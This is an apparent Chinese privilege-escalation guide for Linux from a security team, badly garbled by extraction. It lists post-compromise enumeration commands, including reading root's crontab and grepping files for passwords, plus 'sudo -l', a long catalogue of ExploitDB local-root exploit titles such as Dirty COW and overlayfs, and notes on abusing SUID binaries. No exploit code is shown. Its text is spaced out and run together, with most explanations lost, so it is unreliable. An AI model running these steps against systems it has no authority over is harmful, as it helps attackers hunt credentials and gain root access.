[27192] 2021-03-11_Linux提权全剧终

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-19
2021-03-11_Linux提权全剧终 L i n u x     M s 0 8 0 6 7   2 0 2 1 - 0 3 - 1 1   #   , 2 8 M S 0 8 0 6 7   M s 0 8 0 6 7     M s 0 8 0 6 7 L i n u x r o o t s u i d s u d o 0 x 0 0   u n a m e   - a c a t   / p r o c / v e r s i o n c a t   / e t c / * - r e l e a s e ( i s s u e s ) L i n u x d f   - a d p k g   - - l i s t   2 > / d e v / n u l l |   g r e p   c o m p i l e r   | g r e p   - v   d e c o m p i l e r   2 > / d e v / n u l l   & &   y u m   l i s t   i n s t a l l e d   ' g c c * '   2 > / d e v / n u l l |   g r e p   g c c   2 > / d e v / n u l l l p s t a t   - a p s   a u x t o p   c a t / e t c / s e r v i c e c r o n t a b   - l l s   - a l h   / v a r / s p o o l / c r o n l s   - a l   / e t c /   |   g r e p   c r o n l s   - a l   / e t c / c r o n * c a t   / e t c / c r o n * c a t   / e t c / a t . a l l o w c a t   / e t c / a t . d e n y c a t   / e t c / c r o n . a l l o w c a t   / e t c / c r o n . d e n y c a t   / e t c / c r o n t a b c a t   / e t c / a n a c r o n t a b c a t   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t g r e p   - i   u s e r   [ f i l e n a m e ] g r e p   - i   p a s s   [ f i l e n a m e ] g r e p   - C   5   p a s s w o r d   [ f i l e n a m e ] f i n d   .   - n a m e   * . p h p   - p r i n t 0   |   x a r g s   - 0   g r e p - i   - n   v a r   $ p a s s w o r d 0 x 0 1   s u d o 使 s u d o   - l 0 x 0 2     L i n u x E x D B P o C 2 0 1 9 / 1 2 / 1 6 L i n u x   5 . 3   -   P r i v i l e g e E s c a l a t i o n   v i a   i o _ u r i n g O f f l o a d   o f   s e n d m s g ( )   o n t o K e r n e l   T h r e a d   w i t h   K e r n e l C r e d s G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 9 / 1 0 / 2 4 L i n u x   P o l k i t   -   p k e x e c   h e l p e r P T R A C E _ T R A C E M E   l o c a l r o o t   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 9 / 0 7 / 1 7 L i n u x   -   B r o k e n   P e r m i s s i o n a n d   O b j e c t   L i f e t i m e   H a n d l i n g f o r   P T R A C E _ T R A C E M E G o o g l e   S e c u r i t y   R e s e a r c h
2 0 1 8 / 1 1 / 2 9 L i n u x   -   N e s t e d   U s e r N a m e s p a c e   i d m a p   L i m i t L o c a l   P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 8 / 1 1 / 1 6 L i n u x   -   B r o k e n   u i d / g i d M a p p i n g   f o r   N e s t e d   U s e r N a m e s p a c e s G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 8 / 0 9 / 2 6 L i n u x   K e r n e l   -   V M A   U s e - A f t e r - F r e e   v i a   B u g g y v m a c a c h e _ f l u s h _ a l l ( ) F a s t p a t h   L o c a l   P r i v i l e g e E s c a l a t i o n G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 8 / 0 8 / 0 3 L i n u x   K e r n e l   -   U D P F r a g m e n t a t i o n   O f f s e t   ' U F O ' P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 8 / 0 7 / 1 9 L i n u x   -   B P F   S i g n   E x t e n s i o n L o c a l   P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 8 / 0 7 / 1 0 L i n u x   K e r n e l   <   4 . 1 3 . 9 ( U b u n t u   1 6 . 0 4   /   F e d o r a   2 7 )   - L o c a l   P r i v i l e g e   E s c a l a t i o n r l a r a b e e 2 0 1 8 / 0 5 / 2 2 L i n u x   4 . 4 . 0   <   4 . 4 . 0 - 5 3   - ' A F _ P A C K E T   c h o c o b o _ r o o t ' L o c a l   P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 8 / 0 5 / 2 1 L i n u x   2 . 6 . 3 0   <   2 . 6 . 3 6 - r c 8   - R e l i a b l e   D a t a g r a m   S o c k e t s ( R D S )   P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 8 / 0 5 / 1 8 L i n u x   4 . 8 . 0   <   4 . 8 . 0 - 4 6   - A F _ P A C K E T   p a c k e t _ s e t _ r i n g P r i v i l e g e   E s c a l a t i o n ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 7 / 0 8 / 1 3 L i n u x   K e r n e l   <   4 . 4 . 0 - 8 3   /   < 4 . 8 . 0 - 5 8   ( U b u n t u 1 4 . 0 4 / 1 6 . 0 4 )   -   L o c a l P r i v i l e g e   E s c a l a t i o n   ( K A S L R /   S M E P ) A n d r e y   K o n o v a l o v 2 0 1 7 / 0 9 / 0 6 T o r   ( L i n u x )   -   X 1 1   L i n u x S a n d b o x   B r e a k o u t G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 7 / 0 5 / 2 2 V M w a r e   W o r k s t a t i o n   f o r L i n u x   1 2 . 5 . 2   b u i l d - 4 6 3 8 2 3 4 -   A L S A   C o n f i g u r a t i o n   H o s t L o c a l   P r i v i l e g e   E s c a l a t i o n 2 0 1 7 / 0 5 / 1 1 L i n u x   K e r n e l   4 . 8 . 0 - 4 1 - g e n e r i c   ( U b u n t u )   -   P a c k e t S o c k e t   L o c a l   P r i v i l e g e E s c a l a t i o n A n d r e y   K o n o v a l o v 2 0 1 6 / 1 1 / 2 7 L i n u x   K e r n e l   2 . 6 . 2 2   <   3 . 9   - ' D i r t y   C O W   / p r o c / s e l f / m e m ' R a c e   C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( / e t c / p a s s w d M e t h o d ) G a b r i e l e   B o n a c i n i 2 0 1 6 / 1 1 / 2 8 L i n u x   K e r n e l   2 . 6 . 2 2   <   3 . 9   - ' D i r t y   C O W ' ' P T R A C E _ P O K E D A T A '   R a c e C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( / e t c / p a s s w d M e t h o d ) F i r e F a r t 2 0 1 6 / 1 1 / 1 4 L i n u x   K e r n e l   4 . 4   ( U b u n t u 1 6 . 0 4 )   -   ' B P F '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 6 / 1 1 / 0 2 L i n u x   K e r n e l   ( U b u n t u   / F e d o r a   /   R e d H a t )   - ' O v e r l a y f s '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 6 / 1 0 / 2 1 L i n u x   K e r n e l   2 . 6 . 2 2   <   3 . 9 ( x 8 6 / x 6 4 )   -   ' D i r t y   C O W / p r o c / s e l f / m e m '   R a c e C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( S U I D   M e t h o d ) R o b i n   V e r t o n 2 0 1 6 / 1 0 / 1 9 L i n u x   K e r n e l   2 . 6 . 2 2   <   3 . 9   - ' D i r t y   C O W '   / p r o c / s e l f / m e m R a c e   C o n d i t i o n   ( W r i t e A c c e s s   M e t h o d ) P h i l   O e s t e r 2 0 1 6 / 1 0 / 1 1 L i n u x   K e r n e l   3 . 1 3 . 1   - ' R e c v m m s g '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 6 / 0 6 / 2 1 L i n u x   K e r n e l   -   ' e c r y p t f s ' ' / p r o c / $ p i d / e n v i r o n '   L o c a l P r i v i l e g e   E s c a l a t i o n G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 6 / 0 5 / 0 4 L i n u x   K e r n e l   4 . 4 . x   ( U b u n t u 1 6 . 0 4 )   -   ' d o u b l e - f d p u t ( ) ' b p f ( B P F _ P R O G _ L O A D ) P r i v i l e g e   E s c a l a t i o n G o o g l e   S e c u r i t y   R e s e a r c h
2 0 1 6 / 0 5 / 0 4 L i n u x   K e r n e l   ( U b u n t u 1 4 . 0 4 . 3 )   - ' p e r f _ e v e n t _ o p e n ( ) '   C a n   R a c e w i t h   e x e c v e ( )   ( A c c e s s / e t c / s h a d o w ) G o o g l e   S e c u r i t y   R e s e a r c h 2 0 1 4 / 0 5 / 2 8 L i n u x   K e r n e l   3 . 3 . 5   - ' / d r i v e r s / m e d i a / m e d i a - d e v i c e . c '   L o c a l   I n f o r m a t i o n D i s c l o s u r e S a l v a   P e i r o 2 0 1 6 / 0 1 / 0 5 L i n u x   K e r n e l   4 . 3 . 3   ( U b u n t u 1 4 . 0 4 / 1 5 . 1 0 )   -   ' o v e r l a y f s ' L o c a l   P r i v i l e g e   E s c a l a t i o n   ( 1 ) r e b e l 2 0 1 3 / 0 6 / 0 7 L i n u x   K e r n e l   3 . 3 . 5   -   ' b 4 3 ' W i r e l e s s   D r i v e r   P r i v i l e g e E s c a l a t i o n K e e s   C o o k 2 0 1 5 / 1 0 / 1 5 L i n u x   K e r n e l   3 . 1 7   -   ' P y t h o n c t y p e s   a n d   m e m f d _ c r e a t e ' n o e x e c   F i l e   S e c u r i t y   B y p a s s s o y e r 2 0 1 3 / 0 3 / 1 3 L i n u x   K e r n e l   3 . 0   <   3 . 3 . 5   - ' C L O N E _ N E W U S E R | C L O N E _ F S '   L o c a l   P r i v i l e g e   E s c a l a t i o n S e b a s t i a n   K r a h m e r 2 0 1 2 / 1 0 / 0 9 L i n u x   K e r n e l   3 . 2 . x   - ' u n a m e ( ) '   S y s t e m   C a l l   L o c a l I n f o r m a t i o n   D i s c l o s u r e B r a d   S p e n g l e r 2 0 1 2 / 0 7 / 2 6 L i n u x   K e r n e l   2 . 6 . x   - ' r d s _ r e c v m s g ( ) '   L o c a l I n f o r m a t i o n   D i s c l o s u r e J a y   F e n l a s o n 2 0 1 5 / 0 6 / 1 6 L i n u x   K e r n e l   3 . 1 3 . 0   <   3 . 1 9 ( U b u n t u 1 2 . 0 4 / 1 4 . 0 4 / 1 4 . 1 0 / 1 5 . 0 4 )   - ' o v e r l a y f s '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( A c c e s s / e t c / s h a d o w ) 2 0 1 5 / 0 6 / 1 6 L i n u x   K e r n e l   3 . 1 3 . 0   <   3 . 1 9 ( U b u n t u 1 2 . 0 4 / 1 4 . 0 4 / 1 4 . 1 0 / 1 5 . 0 4 )   - ' o v e r l a y f s '   L o c a l   P r i v i l e g e E s c a l a t i o n r e b e l 2 0 1 1 / 1 1 / 0 7 L i n u x   K e r n e l   3 . 0 . 4   - ' / p r o c / i n t e r r u p t s '   P a s s w o r d L e n g t h   L o c a l   I n f o r m a t i o n D i s c l o s u r e V a s i l i y   K u l i k o v 2 0 1 2 / 0 1 / 1 2 L i n u x   K e r n e l   2 . 6 . 3 9   <   3 . 2 . 2 ( x 8 6 / x 6 4 )   -   ' M e m p o d i p p e r ' L o c a l   P r i v i l e g e   E s c a l a t i o n   ( 2 ) z x 2 c 4 2 0 1 4 / 1 0 / 2 0 L i n u x   P o l i c y K i t   -   R a c e C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 1 0 / 1 1 / 0 9 L i n u x   K e r n e l   2 . 6 . x   - ' n e t / c o r e / f i l t e r . c '   L o c a l I n f o r m a t i o n   D i s c l o s u r e D a n   R o s e n b e r g 2 0 1 0 / 0 5 / 1 8 L i n u x   K e r n e l   2 . 6 . x   -   B t r f s C l o n e d   F i l e   S e c u r i t y   B y p a s s D a n   R o s e n b e r g 2 0 1 4 / 0 6 / 2 1 L i n u x   K e r n e l   3 . 1 3   -   S G I D P r i v i l e g e   E s c a l a t i o n V i t a l y   N i k o l e n k o 2 0 0 9 / 1 2 / 1 6 L i n u x   K e r n e l   <   2 . 6 . 2 8   - ' f a s y n c _ h e l p e r ( ) '   L o c a l P r i v i l e g e   E s c a l a t i o n T a v i s   O r m a n d y 2 0 0 9 / 1 1 / 0 9 L i n u x   K e r n e l   2 . 6 . x   -   E x t 4 ' m o v e   e x t e n t s '   i o c t l   P r i v i l e g e E s c a l a t i o n A k i r a   F u j i t a 2 0 1 3 / 0 2 / 2 4 L i n u x   K e r n e l   3 . 3   <   3 . 8 ( U b u n t u   /   F e d o r a   1 8 )   - ' s o c k _ d i a g _ h a n d l e r s ( ) '   L o c a l P r i v i l e g e   E s c a l a t i o n   ( 3 ) S y n Q 2 0 0 9 / 1 1 / 0 3 L i n u x   K e r n e l   2 . 6 . x   -   ' p i p e . c ' L o c a l   P r i v i l e g e   E s c a l a t i o n   ( 2 ) t e a c h   &   x i p e 2 0 0 9 / 1 1 / 0 3 L i n u x   K e r n e l   2 . 6 . 0   <   2 . 6 . 3 1   - ' p i p e . c '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( 1 ) t e a c h   &   x i p e 2 0 0 9 / 0 3 / 0 2 L i n u x   K e r n e l   2 . 6 . x   - ' s e c c o m p '   S y s t e m   C a l l S e c u r i t y   B y p a s s C h r i s   E v a n s 2 0 0 9 / 0 2 / 2 0 L i n u x   K e r n e l   2 . 6 . x   -   ' s o c k . c ' S O _ B S D C O M P A T   O p t i o n I n f o r m a t i o n   D i s c l o s u r e C l é m e n t   L e c i g n e 2 0 1 4 / 0 2 / 0 2 L i n u x   K e r n e l   3 . 4   <   3 . 1 3 . 2 ( U b u n t u   1 3 . 1 0 )   - ' C O N F I G _ X 8 6 _ X 3 2 '   A r b i t r a r y W r i t e   ( 2 ) s a e l o 2 0 0 7 / 9 / 2 1 L i n u x   K e r n e l   2 . 6 . x   -   A L S A s n d - p a g e - a l l o c   L o c a l   P r o c F i l e   I n f o r m a t i o n   D i s c l o s u r e K a r i m o _ D M 2 0 0 7 / 9 / 2 1 L i n u x   K e r n e l   2 . 6 . x   -   P t r a c e P r i v i l e g e   E s c a l a t i o n W o j c i e c h   P u r c z y n s k i
2 0 0 7 / 0 3 / 0 5 L i n u x   K e r n e l   2 . 6 . 1 7   - ' S y s _ T e e '   L o c a l   P r i v i l e g e E s c a l a t i o n M i c h a e l   K e r r i s k 2 0 0 6 / 0 7 / 2 7 L i n u x - H A   H e a r t b e a t 1 . 2 . 3 / 2 . 0 . x   -   I n s e c u r e D e f a u l t   P e r m i s s i o n s   o n S h a r e d   M e m o r y a n o n y m o u s 2 0 0 6 / 0 4 / 2 8 L i n u x   K e r n e l   2 . 6 . x   -   C I F S C H R o o t   S e c u r i t y   R e s t r i c t i o n B y p a s s M a r c e l   H o l t m a n n 2 0 0 6 / 0 4 / 2 8 L i n u x   K e r n e l   2 . 6 . x   -   S M B F S C H R o o t   S e c u r i t y   R e s t r i c t i o n B y p a s s M a r c e l   H o l t m a n n 2 0 0 6 / 0 3 / 2 3 L i n u x   K e r n e l 2 . 4 . x / 2 . 5 . x / 2 . 6 . x   - ' S o c k a d d r _ I n . S i n _ Z e r o ' K e r n e l   M e m o r y   D i s c l o s u r e P a v e l   K a n k o v s k y 2 0 0 5 / 1 0 / 1 7 L i n u x   K e r n e l   2 . 6   -   C o n s o l e K e y m a p   L o c a l   C o m m a n d I n j e c t i o n R u d o l f   P o l z e r 2 0 0 5 / 0 5 / 2 6 L i n u x   K e r n e l   2 . 6 . x   - C r y p t o l o o p   I n f o r m a t i o n D i s c l o s u r e M a r k k u - J u h a n i O .   S a a r i n e n 2 0 0 5 / 1 0 / 1 9 L i n u x   K e r n e l   2 . 4 . 3 0 / 2 . 6 . 1 1 . 5 -   B l u e T o o t h ' b l u e z _ s o c k _ c r e a t e '   L o c a l P r i v i l e g e   E s c a l a t i o n b a c k d o o r e d . n e t 2 0 0 5 / 0 4 / 0 8 L i n u x   K e r n e l   2 . 4 . x / 2 . 6 . x   - B l u e T o o t h   S i g n e d   B u f f e r I n d e x   P r i v i l e g e   E s c a l a t i o n   ( 1 ) q o b a i a s h i 2 0 0 5 / 0 3 / 0 9 L i n u x   K e r n e l   2 . 6 . x   - ' S Y S _ E P o l l _ W a i t '   L o c a l I n t e g e r   O v e r f l o w   /   L o c a l P r i v i l e g e   E s c a l a t i o n   ( 1 ) s d 2 0 0 4 / 0 4 / 2 3 L i n u x   K e r n e l   2 . 5 . x / 2 . 6 . x   - C P U F r e q   P r o c   H a n d l e r I n t e g e r   H a n d l i n g   M e m o r y R e a d B r a d   S p e n g l e r 2 0 0 4 / 0 2 / 0 9 S a m b a   2 . 2 . 8   ( L i n u x   K e r n e l 2 . 6   /   D e b i a n   /   M a n d r a k e )   - S h a r e   P r i v i l e g e   E s c a l a t i o n M a r t i n   F i a l a 2 0 0 4 / 0 2 / 0 6 L i n u x   V S e r v e r   P r o j e c t   1 . 2 x   - C h r o o t   B r e a k o u t M a r k u s   M u e l l e r 2 0 0 3 / 1 0 / 0 6 S u S E   L i n u x   P r o f e s s i o n a l   8 . 2 -   S u S E W M   C o n f i g u r a t i o n F i l e   I n s e c u r e   T e m p o r a r y   F i l e N a s h   L e o n 2 0 0 3 / 0 9 / 0 9 R e a l O n e   P l a y e r   f o r   L i n u x   2 . 2 A l p h a   -   I n s e c u r e C o n f i g u r a t i o n   F i l e P e r m i s s i o n   P r i v i l e g e E s c a l a t i o n J o n   H a r t 2 0 1 2 / 1 2 / 0 2 M y S Q L   ( L i n u x )   -   D a t a b a s e P r i v i l e g e   E s c a l a t i o n k i n g c o p e 2 0 0 3 / 0 6 / 2 6 L i n u x   K e r n e l   2 . 4   -   S U I D ' e x e c v e ( ) '   S y s t e m   C a l l   R a c e C o n d i t i o n   E x e c u t a b l e   F i l e R e a d I h a Q u e R 2 0 0 3 / 0 6 / 2 0 L i n u x   K e r n e l   2 . 2 . x / 2 . 4 . x   - ' / p r o c '   F i l e s y s t e m I n f o r m a t i o n   D i s c l o s u r e I h a Q u e R 2 0 0 3 / 0 6 / 1 6 L i n u x   P A M   0 . 7 7   - P a m _ W h e e l   M o d u l e ' g e t l o g i n ( )   U s e r n a m e ' S p o o f i n g   P r i v i l e g e   E s c a l a t i o n K a r o l   W i e s e k 2 0 0 3 / 0 2 / 1 8 L i n u x - A T M   L E S   2 . 4   - C o m m a n d   L i n e   A r g u m e n t B u f f e r   O v e r f l o w A n g e l o   R o s i e l l o 2 0 0 3 / 0 4 / 0 4 L i n u x   K e r n e l   2 . 2 . x / 2 . 4 . x   - I / O   S y s t e m   C a l l   F i l e E x i s t e n c e A n d r e w   G r i f f i t h s 2 0 0 3 / 0 4 / 1 0 L i n u x   K e r n e l   2 . 2 . x / 2 . 4 . x   - P r i v i l e g e d   P r o c e s s   H i j a c k i n g P r i v i l e g e   E s c a l a t i o n   ( 2 ) W o j c i e c h   P u r c z y n s k i 2 0 0 3 / 0 3 / 1 7 L i n u x   K e r n e l   2 . 2 . x / 2 . 4 . x   - P r i v i l e g e d   P r o c e s s   H i j a c k i n g P r i v i l e g e   E s c a l a t i o n   ( 1 ) a n s z o m @ v - l o . k r a k o w . p l 2 0 1 2 / 1 0 / 1 0 L i n u x   K e r n e l   U D E V   <   1 . 4 . 1   - ' N e t l i n k '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t 2 0 0 2 / 0 8 / 2 8 L i n u x c o n f   1 . 1 . x / 1 . 2 . x   -   L o c a l E n v i r o n m e n t   V a r i a b l e   B u f f e r O v e r f l o w   ( 3 ) s y s c a l l s 2 0 0 2 / 0 8 / 2 8 L i n u x c o n f   1 . 1 . x / 1 . 2 . x   -   L o c a l E n v i r o n m e n t   V a r i a b l e   B u f f e r O v e r f l o w   ( 2 ) D a v i d   E n d l e r 2 0 0 2 / 0 8 / 2 8 L i n u x c o n f   1 . 1 . x / 1 . 2 . x   -   L o c a l E n v i r o n m e n t   V a r i a b l e   B u f f e r O v e r f l o w   ( 1 ) R a i S e
2 0 0 2 / 0 8 / 1 0 I S D N 4 L i n u x   3 . 1   -   I P P P D D e v i c e   S t r i n g   S y s L o g   F o r m a t S t r i n g   ( 2 ) T E S O   S e c u r i t y 2 0 0 2 / 0 8 / 1 0 I S D N 4 L i n u x   3 . 1   -   I P P P D D e v i c e   S t r i n g   S y s L o g   F o r m a t S t r i n g   ( 1 ) G o b b l e s   S e c u r i t y 2 0 0 2 / 0 5 / 1 7 G r s e c u r i t y   K e r n e l   P a t c h   1 . 9 . 4 ( L i n u x   K e r n e l )   -   M e m o r y P r o t e c t i o n G u i l l a u m e   P E L A T 2 0 0 2 / 0 3 / 2 6 L i n u x   K e r n e l   2 . 2 . x / 2 . 3 / 2 . 4 . x -   ' d _ p a t h ( ) '   P a t h   T r u n c a t i o n c l i p h 2 0 0 2 / 0 2 / 2 5 C e n t u r y   S o f t w a r e   T e r m   F o r L i n u x   6 . 2 7 . 8 6 9   -   C o m m a n d L i n e   B u f f e r   O v e r f l o w H a i k u   H a c k e r 2 0 0 0 / 0 8 / 2 5 U s e r - M o d e   L i n u x   ( L i n u x K e r n e l   2 . 4 . 1 7 - 8 )   -   M e m o r y A c c e s s   P r i v i l e g e   E s c a l a t i o n A n d r e w   G r i f f i t h s 2 0 0 1 / 1 1 / 2 1 S u S E   L i n u x   6 . 4 / 7 . 0 / 7 . 1 / 7 . 2 B e r k e l e y   P a r a l l e l   M a k e   - L o c a l   B u f f e r   O v e r f l o w I h a Q u e R @ I R C n e t 2 0 0 1 / 1 1 / 2 1 S u S E   L i n u x   6 . 4 / 7 . 0 / 7 . 1 / 7 . 2 B e r k e l e y   P a r a l l e l   M a k e   - S h e l l   D e f i n i t i o n   F o r m a t S t r i n g I h a Q u e R @ I R C n e t 2 0 0 1 / 1 0 / 1 8 L i n u x   K e r n e l   2 . 2 / 2 . 4   - P t r a c e / S e t u i d   E x e c   P r i v i l e g e E s c a l a t i o n R a f a l   W o j t c z u k 2 0 0 1 / 0 6 / 2 7 L i n u x   K e r n e l   2 . 2 / 2 . 4   - p r o c f s   S t r e a m   r e d i r e c t i o n   t o P r o c e s s   M e m o r y   P r i v i l e g e E s c a l a t i o n 2 0 0 1 / 0 6 / 1 2 L i n u x   M a n   P a g e 6 . 1 / 6 . 2 / 7 . 0 / 7 . 1 -   S o u r c e B u f f e r   O v e r f l o w z e n - p a r s e 2 0 0 1 / 0 5 / 1 3 I m m u n i x   O S   6 . 2 / 7 . 0   / R e d H a t   5 . 2 / 6 . 2 / 7 . 0   /   S u S E L i n u x   6 . x / 7 . 0 / 7 . 1   -   ' M a n   - S ' H e a p   O v e r f l o w z e n i t h   p a r s e c 2 0 0 1 / 0 3 / 2 7 L i n u x   K e r n e l   2 . 2 . 1 8   ( R e d H a t 6 . 2 / 7 . 0   / 2 . 2 . 1 4 / 2 . 2 . 1 8 / 2 . 2 . 1 8 o w 4 )   - p t r a c e / e x e c v e   R a c e C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( 2 ) W o j c i e c h   P u r c z y n s k i 2 0 0 1 / 0 3 / 2 7 L i n u x   K e r n e l   2 . 2 . 1 8   ( R e d H a t 6 . 2 / 7 . 0   / 2 . 2 . 1 4 / 2 . 2 . 1 8 / 2 . 2 . 1 8 o w 4 )   - p t r a c e / e x e c v e   R a c e C o n d i t i o n   P r i v i l e g e E s c a l a t i o n   ( 1 ) W o j c i e c h   P u r c z y n s k i 2 0 0 1 / 0 2 / 0 9 L i n u x   K e r n e l   2 . 2 . x   -   ' s y s c t l ( ) ' M e m o r y   R e a d i n g C h r i s   E v a n s 2 0 0 0 / 1 1 / 3 0 L i n u x   K e r n e l   2 . 2 . x   -   N o n - R e a d a b l e   F i l e   P t r a c e   L o c a l I n f o r m a t i o n   L e a k L a m a g r a   A r g a m a l 2 0 0 0 / 1 1 / 1 2 L i n u x   m o d u t i l s   2 . 3 . 9   - ' m o d p r o b e '   A r b i t r a r y C o m m a n d   E x e c u t i o n M i c h a l   Z a l e w s k i 2 0 0 0 / 0 6 / 0 7 L i n u x   K e r n e l   2 . 2 . x   2 . 4 . 0 - t e s t 1   ( S G I   P r o P a c k   1 . 2 / 1 . 3 )   - S e n d m a i l   8 . 1 0 . 1   C a p a b i l i t i e s P r i v i l e g e   E s c a l a t i o n   ( 2 ) W o j c i e c h   P u r c z y n s k i 2 0 0 0 / 0 6 / 0 7 L i n u x   K e r n e l   2 . 2 . x   2 . 4 . 0 - t e s t 1   ( S G I   P r o P a c k   1 . 2 / 1 . 3 )   - S e n d m a i l   C a p a b i l i t i e s P r i v i l e g e   E s c a l a t i o n ( 1 ) F l o r i a n   H e i n z 2 0 0 0 / 0 5 / 2 9 M a n d r i v a   L i n u x   M a n d r a k e   7 . 0 -   L o c a l   B u f f e r   O v e r f l o w n o i r 2 0 0 0 / 0 5 / 2 2 S . u . S . E   L i n u x   4 . x / 5 . x / 6 . x / 7 . 0 /   S l a c k w a r e   3 . x / 4 . 0   / T u r b o l i n u x   6   /   O p e n L i n u x   7 . 0 -   ' f d m o u n t '   L o c a l   B u f f e r O v e r f l o w   ( 3 ) W a R 2 0 0 0 / 0 5 / 2 2 S . u . S . E   L i n u x   4 . x / 5 . x / 6 . x / 7 . 0 /   S l a c k w a r e   3 . x / 4 . 0   / T u r b o l i n u x   6   /   O p e n L i n u x   7 . 0 -   ' f d m o u n t '   L o c a l   B u f f e r O v e r f l o w   ( 2 ) S c r i p p i e 2 0 0 0 / 0 5 / 2 2 S . u . S . E   L i n u x   4 . x / 5 . x / 6 . x / 7 . 0 /   S l a c k w a r e   3 . x / 4 . 0   / T u r b o l i n u x   6   /   O p e n L i n u x   7 . 0 -   ' f d m o u n t '   L o c a l   B u f f e r O v e r f l o w   ( 1 ) P a u l o   R i b e i r o 2 0 1 2 / 0 7 / 1 9 L i n u x   K e r n e l   2 . 4 . 4   <   2 . 4 . 3 7 . 4 /   2 . 6 . 0   <   2 . 6 . 3 0 . 4   - ' S e n d p a g e '   L o c a l   P r i v i l e g e E s c a l a t i o n   ( M e t a s p l o i t ) M e t a s p l o i t
2 0 0 0 / 0 5 / 0 3 R e d H a t   L i n u x   6 . 0 / 6 . 1 / 6 . 2   - ' p a m _ c o n s o l e '   M o n i t o r A c t i v i t y   A f t e r   L o g o u t M i c h a l   Z a l e w s k i 2 0 0 0 / 0 4 / 2 9 S u S E   L i n u x   6 . 3 / 6 . 4   G n o m e l i b -   L o c a l   B u f f e r   O v e r f l o w b l a d i 2 0 0 0 / 0 4 / 2 1 S u S E   L i n u x   6 . x   -   A r b i t r a r y F i l e   D e l e t i o n P e t e r _ M 2 0 0 0 / 0 4 / 1 0 B r a y   S y s t e m s   L i n u x   T r u s t e e s 1 . 5   -   L o n g   P a t h n a m e A n d r e y   E .   L e r m a n 2 0 0 0 / 0 3 / 1 6 H a l l o w e e n   L i n u x   4 . 0   /   S u S E L i n u x   6 . 0 / 6 . 1 / 6 . 2 / 6 . 3   - ' k r e a t e c d '   L o c a l   P r i v i l e g e E s c a l a t i o n S e b a s t i a n 2 0 0 0 / 0 3 / 1 3 H a l l o w e e n   L i n u x   4 . 0   / R e d H a t   L i n u x   6 . 1 / 6 . 2   - ' i m w h e e l '   ( 2 ) S . K r a h m e r   &   S t e a l t h 2 0 0 0 / 0 3 / 1 3 H a l l o w e e n   L i n u x   4 . 0   / R e d H a t   L i n u x   6 . 1 / 6 . 2   - ' i m w h e e l '   ( 1 ) f u n k y s h 2 0 0 0 / 0 3 / 1 1 A T   C o m p u t i n g   a t s a r _ l i n u x   1 . 4 -   F i l e   M a n i p u l a t i o n S .   K r a h m e r 2 0 0 0 / 0 3 / 0 5 O r a c l e 8 i   S t a n d a r d   E d i t i o n 8 . 1 . 5   f o r   L i n u x   I n s t a l l e r   - L o c a l   P r i v i l e g e   E s c a l a t i o n K e y s e r   S o z e 2 0 0 0 / 0 3 / 0 2 C o r e l   L i n u x   O S   1 . 0   -   D o s e m u D i s t r i b u t i o n   C o n f i g u r a t i o n s u i d 2 0 0 0 / 0 2 / 2 6 R e d H a t   4 . x / 5 . x / 6 . x   /   R e d H a t m a n   1 . 5   /   T u r b o l i n u x   m a n   1 . 5 /   T u r b o l i n u x   3 . 5 / 4 . x   -   ' m a n ' B u f f e r   O v e r r u n   ( 2 ) B a b c i a   P a d l i n a 2 0 0 0 / 0 2 / 2 6 R e d H a t   4 . x / 5 . x / 6 . x   /   R e d H a t m a n   1 . 5   /   T u r b o l i n u x   m a n   1 . 5 /   T u r b o l i n u x   3 . 5 / 4 . x   -   ' m a n ' B u f f e r   O v e r r u n   ( 1 ) B a b c i a   P a d l i n a 2 0 0 0 / 0 2 / 2 4 C o r e l   L i n u x   O S   1 . 0   - ' s e t x c o n f '   L o c a l   P r i v i l e g e E s c a l a t i o n s u i d 2 0 0 0 / 0 2 / 2 4 C o r e l   L i n u x   O S   1 . 0   - b u i l d x c o n f i g s u i d 2 0 0 0 / 0 2 / 2 3 R e d H a t   L i n u x   6 . 0   -   S i n g l e U s e r   M o d e   A u t h e n t i c a t i o n D a r r e n   R e e d 2 0 0 0 / 0 1 / 1 2 C o r e l   L i n u x   O S   1 . 0   -   g e t _ i t P A T H C e s a r   T a s c o n   A l v a r e z 2 0 0 0 / 0 3 / 1 5 M a n d r a k e   6 . x   /   R e d H a t   6 . x   / T u r b o l i n u x   3 . 5   b 2 / 4 . x / 6 . 0 . 2 u s e r h e l p e r / P A M   -   P a t h   ( 2 ) E l i a s   L e v y C V E - 2 0 1 6 - 5 1 9 5 :   C V E - 2 0 1 9 - 1 4 2 8 7 :   s u d o 0 x 0 3   s u i d s u i d r o o t 便 使   P i n g P i n g s u i d P i n g r o o t s u i d s h e l l s u i d g u i d u l l : r o o t s u i d v i   /   v i m l e s s n m a p h t t p s : / / g i t h u b . c o m / r e b o o t u s e r / L i n E n u m   h t t p s : / / g i t h u b . c o m / m z e t - / l i n u x - e x p l o i t - s u g g e s t e r 